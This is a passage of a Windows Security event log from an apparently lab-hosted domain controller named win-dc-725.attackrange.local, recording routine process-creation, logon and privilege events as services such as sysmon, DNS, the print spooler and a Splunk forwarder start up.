using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253683 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9a0 - New Process Name: C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253682 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb50 - New Process Name: C:\Windows\sysmon64.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\sysmon64.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253681 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb7c - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k appmodel - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253680 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x2638A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: NtLmSsp - Authentication Package: NTLM - Transited Services: - - Package Name (NTLM only): NTLM V1 - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253679 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253678 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253677 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253676 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8f8 - New Process Name: C:\Windows\System32\ismserv.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\ismserv.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253675 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa40 - New Process Name: C:\Windows\System32\dns.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\dns.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253674 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253673 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253672 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253671 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253670 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa5c - New Process Name: C:\Windows\System32\spoolsv.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\spoolsv.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253669 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253668 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253708 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe98 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253707 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe98 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe8c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253706 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe8c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe6c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253705 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe6c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe54 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253704 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe54 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253703 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process 